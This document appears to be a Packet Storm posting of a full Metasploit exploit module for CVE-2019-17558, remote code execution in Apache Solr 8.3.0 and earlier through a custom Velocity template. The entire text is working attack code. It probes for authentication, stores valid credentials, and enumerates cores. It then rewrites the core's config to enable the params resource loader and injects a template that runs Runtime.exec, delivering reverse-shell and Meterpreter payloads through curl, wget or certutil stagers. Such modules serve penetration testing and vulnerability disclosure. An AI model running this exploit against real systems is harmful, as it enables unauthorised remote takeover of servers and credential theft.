Apache Solr 8.3.0 Velocity Template Remote Code Execution

2020-04-03T00:00:00
ID PACKETSTORM:157078
Type packetstorm
Reporter Imran Dawoodjee
Modified 2020-04-03T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core/exploit/powershell'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::CmdStager  
include Msf::Exploit::Powershell  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Apache Solr Remote Code Execution via Velocity Template',  
'Description' => %q(  
This module exploits a vulnerability in Apache Solr <= 8.3.0 which allows remote code execution via a custom  
Velocity template. Currently, this module only supports Solr basic authentication.  
  
From the Tenable advisory:  
An attacker could target a vulnerable Apache Solr instance by first identifying a list  
of Solr core names. Once the core names have been identified, an attacker can send a specially crafted  
HTTP POST request to the Config API to toggle the params resource loader value for the Velocity Response  
Writer in the solrconfig.xml file to true. Enabling this parameter would allow an attacker to use the Velocity  
template parameter in a specially crafted Solr request, leading to RCE.  
),  
'License' => MSF_LICENSE,  
'Author' =>  
[  
's00py', # Discovery and PoC  
'jas502n', # exploit code on Github  
'AleWong', # ExploitDB contribution, and exploit code on Github  
'Imran E. Dawoodjee <imran[at]threathounds.com>' # Metasploit module  
],  
'References' =>  
[  
[ 'EDB', '47572' ],  
[ 'CVE', '2019-17558' ],  
[ 'URL', 'https://www.tenable.com/blog/apache-solr-vulnerable-to-remote-code-execution-zero-day-vulnerability'],  
[ 'URL', 'https://www.huaweicloud.com/en-us/notice/2018/20191104170849387.html'],  
[ 'URL', 'https://gist.github.com/s00py/a1ba36a3689fa13759ff910e179fc133/'],  
[ 'URL', 'https://github.com/jas502n/solr_rce'],  
[ 'URL', 'https://github.com/AleWong/Apache-Solr-RCE-via-Velocity-template'],  
],  
'Platform' => ['linux', 'unix', 'win'],  
'Targets' =>  
[  
[  
'Unix (in-memory)',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_memory,  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }  
}  
],  
[  
'Linux (dropper)',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :linux_dropper,  
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },  
'CmdStagerFlavor' => %w[curl wget]  
}  
],  
[  
'x86/x64 Windows PowerShell',  
{  
'Platform' => 'win',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :windows_psh,  
'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }  
}  
],  
[  
'x86/x64 Windows CmdStager',  
{  
'Platform' => 'win',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :windows_cmdstager,  
'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp', 'CmdStagerFlavor' => 'vbs' },  
'CmdStagerFlavor' => %w[vbs certutil]  
}  
],  
[  
'Windows Exec',  
{  
'Platform' => 'win',  
'Arch' => ARCH_CMD,  
'Type' => :windows_exec,  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/generic' }  
}  
],  
],  
'DisclosureDate' => "2019-10-29", # ISO-8601 formatted  
'DefaultTarget' => 0,  
'Privileged' => false  
)  
)  
  
register_options(  
[  
Opt::RPORT(8983),  
OptString.new('USERNAME', [false, 'Solr username', 'solr']),  
OptString.new('PASSWORD', [false, 'Solr password', 'SolrRocks']),  
OptString.new('TARGETURI', [false, 'Path to Solr', '/solr/'])  
]  
)  
end  
  
# if we are going to exploit, we only need one core to be exploitable  
@vuln_core = ""  
# OS specific stuff  
@target_platform = ""  
# if authentication is used  
@auth_string = ""  
  
def check_auth  
# see if authentication is required for the specified Solr instance  
auth_check = solr_get('uri' => normalize_uri(target_uri.path))  
  
# successfully connected?  
unless auth_check  
print_bad("Connection failed!")  
return nil  
end  
  
# if response code is not 200, then the Solr instance definitely requires authentication  
unless auth_check.code == 200  
# if authentication is required and creds are not provided, we cannot reliably check exploitability  
if datastore['USERNAME'] == "" && datastore['PASSWORD'] == ""  
print_bad("Credentials not provided, skipping credentialed check...")  
return nil  
end  
  
# otherwise, try the given creds  
auth_string = basic_auth(datastore['USERNAME'], datastore['PASSWORD'])  
attempt_auth = solr_get('uri' => normalize_uri(target_uri.path), 'auth' => auth_string)  
  
# successfully connected?  
unless attempt_auth  
print_bad("Connection failed!")  
return nil  
end  
# if the return code is not 200, then authentication definitely failed  
unless attempt_auth.code == 200  
print_bad("Invalid credentials!")  
return nil  
end  
  
store_valid_credential(  
user: datastore['USERNAME'],  
private: datastore['PASSWORD'],  
private_type: :password,  
proof: attempt_auth.to_s  
)  
  
@auth_string = auth_string  
end  
# a placeholder return value. Not requiring auth should throw no errors  
""  
end  
  
# check for vulnerability existence  
def check  
auth_res = check_auth  
unless auth_res  
return CheckCode::Unknown("Authentication failed!")  
end  
  
# send a GET request to get Solr and system details  
ver = solr_get('uri' => normalize_uri(target_uri.path, '/admin/info/system'), 'auth' => @auth_string)  
  
# can't connect? that's an automatic failure  
unless ver  
return CheckCode::Unknown("Connection failed!")  
end  
  
# convert to JSON  
ver_json = ver.get_json_document  
# get Solr version  
solr_version = Gem::Version.new(ver_json['lucene']['solr-spec-version'])  
print_status("Found Apache Solr #{solr_version}")  
# get OS version details  
@target_platform = ver_json['system']['name']  
target_arch = ver_json['system']['arch']  
target_osver = ver_json['system']['version']  
print_status("OS version is #{@target_platform} #{target_arch} #{target_osver}")  
# uname doesn't show up for Windows, so run a check for that  
if ver_json['system']['uname']  
# print uname only when verbose  
vprint_status("Full uname is '#{ver_json['system']['uname'].strip}'")  
end  
  
# the vulnerability is only present in Solr versions <= 8.3.0  
unless solr_version <= Gem::Version.new('8.3.0')  
return CheckCode::Safe("Running version of Solr is not vulnerable!")  
end  
  
# enumerate cores  
cores = solr_get('uri' => normalize_uri(target_uri.path, '/admin/cores'), 'auth' => @auth_string)  
  
# can't connect? that's yet another automatic failure  
unless cores  
return CheckCode::Unknown("Could not enumerate cores!")  
end  
  
# convert to JSON yet again  
cores_json = cores.get_json_document  
# draw up an array of all the cores  
cores_list = Array.new  
# get the core names  
cores_json['status'].keys.each do |core_name|  
cores_list.push(core_name)  
end  
  
# no cores? that means nothing to exploit.  
if cores_list.empty?  
return CheckCode::Safe("No cores found, nothing to exploit!")  
end  
  
# got cores? tell the operator which cores were found  
print_status("Found core(s): #{cores_list.join(', ')}")  
possibly_vulnerable_cores = {}  
  
cores_list.each do |core|  
# for each core, attempt to get config  
core_config = solr_get('uri' => normalize_uri(target_uri.path, core.to_s, 'config'), 'auth' => @auth_string)  
  
# can't retrieve configuration for that core? go next  
unless core_config  
print_error("Could not retrieve configuration for core #{core}!")  
next  
end  
  
# convert to JSON  
core_config_json = core_config.get_json_document  
# if the core configuration does not include the Velocity Response Writer, it isn't vulnerable  
if core_config_json['config']['queryResponseWriter'].keys.include?("velocity")  
vprint_good("Found Velocity Response Writer in use by core #{core}")  
if core_config_json['config']['queryResponseWriter']['velocity']['params.resource.loader.enabled'] == "true"  
vprint_good("params.resource.loader.enabled for core '#{core}' is set to true.")  
possibly_vulnerable_cores.store(core, true)  
else  
# if params.resource.loader.enabled is false, we need to set it to true before exploitation  
print_warning("params.resource.loader.enabled for core #{core} is set to false.")  
possibly_vulnerable_cores.store(core, false)  
end  
else  
vprint_error("Velocity Response Writer not found in core #{core}")  
next  
end  
end  
  
# look at the array of possibly vulnerable cores  
if possibly_vulnerable_cores.empty?  
CheckCode::Safe("No cores are vulnerable!")  
else  
# if possible, pick a core that already has params.resource.loader.enabled set to true  
possibly_vulnerable_cores.each do |core|  
if core[1] == true  
@vuln_core = core  
break  
end  
end  
# otherwise, just pick the first one  
if @vuln_core.to_s == ""  
@vuln_core = possibly_vulnerable_cores.first  
end  
CheckCode::Vulnerable  
end  
end  
  
# the exploit method  
def exploit  
unless [CheckCode::Vulnerable].include? check  
fail_with Failure::NotVulnerable, "Target is most likely not vulnerable!"  
end  
  
print_status("Targeting core '#{@vuln_core[0]}'")  
  
# if params.resource.loader.enabled for that core is false  
if @vuln_core[1] != true  
# the new config in JSON format  
enable_params_resource_loader = {  
"update-queryresponsewriter": {  
"startup": "lazy",  
"name": "velocity",  
"class": "solr.VelocityResponseWriter",  
"template.base.dir": "",  
"solr.resource.loader.enabled": "true",  
"params.resource.loader.enabled": "true"  
}  
}.to_json  
  
opts_post = {  
'method' => 'POST',  
'connection' => 'Keep-Alive',  
'ctype' => 'application/json;charset=utf-8',  
'encode_params' => false,  
'uri' => normalize_uri(target_uri.path, @vuln_core[0].to_s, 'config'),  
'data' => enable_params_resource_loader  
}  
  
unless @auth_string == ""  
opts_post.store('authorization', @auth_string)  
end  
  
print_status("params.resource.loader.enabled is false, setting it to true...")  
update_config = send_request_cgi(opts_post)  
  
unless update_config  
fail_with Failure::Unreachable, "Connection failed!"  
end  
  
# if we got anything other than a 200 back, the configuration update failed and the exploit won't work  
unless update_config.code == 200  
fail_with Failure::UnexpectedReply, "Unable to update config, exploit failed!"  
end  
  
print_good("params.resource.loader.enabled is now set to true!")  
end  
  
# windows...  
if @target_platform.include? "Windows"  
# if target is wrong, warn and exit before doing anything  
unless target.name.include? "Windows"  
fail_with Failure::NoTarget, "Target is found to be Windows, please select the proper target!"  
end  
  
case target['Type']  
# PowerShell...  
when :windows_psh  
# need PowerShell for this  
winenv_path = execute_command("C:\\Windows\\System32\\cmd.exe /c PATH", 'auth_string' => @auth_string, 'core_name' => @vuln_core[0], 'winenv_check' => true)  
unless winenv_path  
fail_with Failure::Unreachable, "Connection failed!"  
end  
  
# did the command to check for PATH execute?  
unless winenv_path.code == 200  
fail_with Failure::UnexpectedReply, "Unexpected reply from target, aborting!"  
end  
  
# is PowerShell in PATH?  
if /powershell/i =~ winenv_path.body.to_s  
# only interested in the contents of PATH. Everything before it is irrelevant  
paths = winenv_path.body.split('=')[1]  
# confirm that PowerShell exists in the PATH by checking each one  
paths.split(';').each do |path_val|  
# if PowerShell exists in PATH, then we are good to go  
unless /powershell/i =~ path_val  
next  
end  
  
print_good("Found Powershell at #{path_val}")  
# generate PowerShell command, encode with base64, and remove comspec  
psh_cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true)  
# specify full path to PowerShell  
psh_cmd.insert(0, path_val)  
# exploit the thing  
execute_command(psh_cmd, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0])  
break  
end  
else  
fail_with Failure::BadConfig, "PowerShell not found!"  
end  
# ... CmdStager ...  
when :windows_cmdstager  
print_status("Sending CmdStager payload...")  
execute_cmdstager(linemax: 7130, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0])  
# ... or plain old exec?  
when :windows_exec  
cmd = "C:\\Windows\\System32\\cmd.exe /c #{payload.encoded}"  
execute_command(cmd, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0])  
end  
end  
  
# ... or nix-based?  
if @target_platform.include? "Linux"  
# if target is wrong, warn and exit before doing anything  
if target.name.include? "Windows"  
fail_with Failure::NoTarget, "Target is found to be nix-based, please select the proper target!"  
end  
  
case target['Type']  
when :linux_dropper  
execute_cmdstager('auth_string' => @auth_string, 'core_name' => @vuln_core[0])  
when :unix_memory  
cmd = "/bin/bash -c $@|/bin/bash . echo #{payload.encoded}"  
execute_command(cmd, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0])  
end  
end  
end  
  
# some prep work has to be done to work around the limitations of Java's Runtime.exec()  
def execute_cmdstager_begin(_opts)  
if @target_platform.include? "Windows"  
@cmd_list.each do |command|  
command.insert(0, "C:\\Windows\\System32\\cmd.exe /c ")  
end  
else  
@cmd_list.each do |command|  
command.insert(0, "/bin/bash -c $@|/bin/bash . echo ")  
end  
end  
end  
  
# sic 'em, bois!  
def execute_command(cmd, opts = {})  
# custom template which enables command execution  
template = <<~VELOCITY  
#set($x="")  
#set($rt=$x.class.forName("java.lang.Runtime"))  
#set($chr=$x.class.forName("java.lang.Character"))  
#set($str=$x.class.forName("java.lang.String"))  
VELOCITY  
  
# attempts to solve the quoting problem, partially successful  
if target.name.include?("Unix")  
template += <<~VELOCITY  
#set($ex=$rt.getRuntime().exec("#{cmd}"))  
VELOCITY  
else  
template += <<~VELOCITY  
#set($ex=$rt.getRuntime().exec('#{cmd}'))  
VELOCITY  
end  
  
template += <<~VELOCITY  
$ex.waitFor()  
VELOCITY  
  
# the next 2 lines cause problems with CmdStager, so it's only used when needed  
# during the check for PowerShell existence, or by specific payloads  
if opts['winenv_check'] || target['Type'] == :windows_exec || target['Type'] == :unix_memory  
template += <<~VELOCITY  
#set($out=$ex.getInputStream())  
#if($out.available())  
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end  
#else  
#end  
VELOCITY  
end  
  
# execute the exploit...  
raw_result = solr_get(  
'uri' => normalize_uri(target_uri.path, opts['core_name'].to_s, 'select'),  
'auth' => opts['auth_string'],  
'vars_get' => {  
'q' => '1',  
'wt' => 'velocity',  
'v.template' => 'custom',  
'v.template.custom' => template  
}  
)  
  
# Executing PATH always gives a result, so it can return safely  
if opts['winenv_check']  
return raw_result  
end  
  
# for printing command output  
unless raw_result.nil?  
unless raw_result.code == 200  
fail_with Failure::PayloadFailed, "Payload failed to execute!"  
end  
  
# to get pretty output  
result_inter = raw_result.body.to_s.sub("0\n", ":::").split(":::").last  
unless result_inter.nil?  
final_result = result_inter.split("\n").first.strip  
print_good(final_result)  
end  
end  
end  
  
# make sending requests easier  
def solr_get(opts = {})  
send_request_cgi_opts = {  
'method' => 'GET',  
'connection' => 'Keep-Alive',  
'uri' => opts['uri']  
}  
  
# @auth_string defaults to "" if no authentication is necessary  
# otherwise, authentication is required  
if opts['auth'] != ""  
send_request_cgi_opts.store('authorization', opts['auth'])  
end  
  
# a bit unrefined, but should suffice in this case  
if opts['vars_get']  
send_request_cgi_opts.store('vars_get', opts['vars_get'])  
end  
  
send_request_cgi(send_request_cgi_opts)  
end  
end  
`